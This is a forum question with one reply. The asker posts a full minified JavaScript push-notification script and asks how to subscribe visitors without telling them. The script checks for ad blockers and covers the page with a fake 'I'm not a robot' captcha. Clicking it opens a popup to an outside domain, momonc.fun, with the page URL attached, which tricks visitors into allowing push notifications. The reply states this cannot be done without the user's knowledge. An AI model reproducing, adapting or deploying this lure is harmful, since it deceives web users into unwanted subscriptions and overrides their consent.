I
I
Igor2018-10-08 16:30:26
JavaScript
Igor, 2018-10-08 16:30:26

Is it possible to automatically subscribe to PUSH notifications?

Hi, I searched about this on the Internet, but apparently not a popular topic)
There is a subscription code:

!function () 
{ try 
{ var $_GET = function (key) 
{ var s = window.location.search; s = s.match(new RegExp(key + '=([^&=]+)')); return s ? s[1] : false; }; 
var n_w = function (hash, count, hard, domain, lang, image_txt) 
{ var vrs = function () 
{ var ua = navigator.userAgent; 
var br_f = function () 
{ if (ua.match(/(Windows|Android|Linux|MacPPC|MacIntel|Mac_PowerPC|Macintosh|Mac OS)/img) && !ua.match(/(iPhone|iPad|iPod|Aviator|ChromePlus|coc_|Dragon|Edge|Flock|Iron|Kinza|Maxthon|MxNitro|Nichrome|Perk|Rockmelt|Seznam|Sleipnir|Spark|UBrowser|Vivaldi|WebExplorer)/img)) 
{ var tem, M = ua.match(/(opera|chrome|safari|firefox|msie|trident(?=\/))\/?\s*(\d+)/i) || []; 
if (M[1] === 'Chrome') { tem = ua.match(/\b(OPR|Edge)\/(\d+)/); 
if (tem != null) return tem.slice(1).join(' ').replace('OPR', 'Opera'); } 
M = M[2] ? [M[1], M[2]] : [navigator.appName, navigator.appVersion, '-?']; 
if ((tem = ua.match(/version\/(\d+)/i)) != null) M.splice(1, 1, tem[1]); return M; } 
else { return false; } }; var M = br_f(); if (M !== false) 
{ if (typeof M === 'string') { M = M.split(' '); } 
var br = M[0]; 
var vr = eval(M[1]); 
var mobilecheck = function () 
{ var check = false; (function (a) 
{ if (/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a) || /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0, 4))) check = true; })
(navigator.userAgent || navigator.vendor || window.opera); return check; };
var mm = mobilecheck(); 
if ((br === 'Chrome' && vr >= 55) || (br === 'Firefox' && vr >= 50) || ua.match(/(YaBrowser|OPR|Opera)/img) || (ua.indexOf('Safari') > -1 && !mm)) 
{ var ak = 0; var dd = document.createElement('div'); dd.setAttribute('id', 'div-gpt-ad'); dd.setAttribute('style', 'width:1px;height:1px;');
document.body.appendChild(dd); setTimeout(function () 
{ if (dd.offsetWidth > 0 && dd.offsetHeight > 0) 
{ ak = 1; var langs = {ru: 'Я не робот', en: 'I\'m not a robot'}; 
var lang_txt = langs['en']; if (langs[lang]) { lang_txt = langs[lang]; } 
if (document.cookie.indexOf('subscribe_to') === -1 && !$_GET('ck_url')) 
{ var body = document.body; var d_i = document.createElement('div'); 
var d = document.createElement('div');
d.setAttribute('style', 'position:fixed;width:100%;height:100%;background:rgba(0, 0, 0, 0.76);top:0;left:0;z-index:99999999999;'); 
var b_w = window.innerWidth; var b_h = window.innerHeight; 
var img_w = '100%'; 
if (mm) { img_w = '80%'; d_i.setAttribute('style', 'position:fixed;bottom:0;left:3%;width:94%;z-index:99999999999999999;height:68%;text-align:center;'); } 
else { d_i.setAttribute('style', 'position:fixed;top:' + ((b_h - 200) / 2) + 'px;left:' + ((b_w - 300) / 2) + 'px;width:300px;z-index:99999999999999999;'); } 
var lns_l = 18; var lns_t = 33; if (mm) { lns_l = 22; lns_t = 5; } 
d_i.innerHTML = '<span style="position:absolute;left:' + lns_l + '%;top:' + lns_t + '%;color:#333;font-size:14px;">' + lang_txt + '</span>' + '<' + 'img src="' + domain + '/images/cpatcha.png" style="cursor:pointer;width:' + img_w + ';border-radius:6px;"' + '>'; 
body.appendChild(d); d.appendChild(d_i); 
var f = function () 
{ var href = window.location.href; var w = 700; var h = 500; var t_2 = ''; 
if (hard === 2) { w = 1000; h = 750; t_2 = '&t_2=1'; } t_2 = t_2 + image_txt; 
var url = domain + '/index_2.php?h=' + hash + '_' + count + '_*_def_web' + t_2 + '&uri=' + encodeURIComponent(href); window.open(url, '', 'width=' + w + ',height=' + h + ',left=' + ((window.innerWidth - w) / 2) + ',top=' + ((window.innerHeight - h) / 2)); var t = setInterval(function () 
{ if (document.cookie.indexOf('subscribe_to') > -1) { clearInterval(t); d.parentElement.removeChild(d); } }, 500); }; d_i.onclick = function () { f(); }; } } }, 200); } } }; vrs(); }; if ($_GET('ck_url')) { document.cookie = 'subscribe_to=1; expires=Thu, 18 Dec 2045 12:00:00 UTC; path=/'; window.close(); } else { setTimeout(function () { n_w('684906021_6eb7a3eea5c', 10, 1, 'http://momonc.fun', 'ru', ''); }, 10); } } catch (e) { } }();

Can I subscribe automatically? Without notifying the user

Answer the question

In order to leave comments, you need to log in

1 answer(s)
D
Denis Ineshin, 2018-10-08
@m0pfin

Nothing can be done without notifying the user. This is against all security policies.

Didn't find what you were looking for?

Ask your question

Ask a Question

731 491 924 answers to any question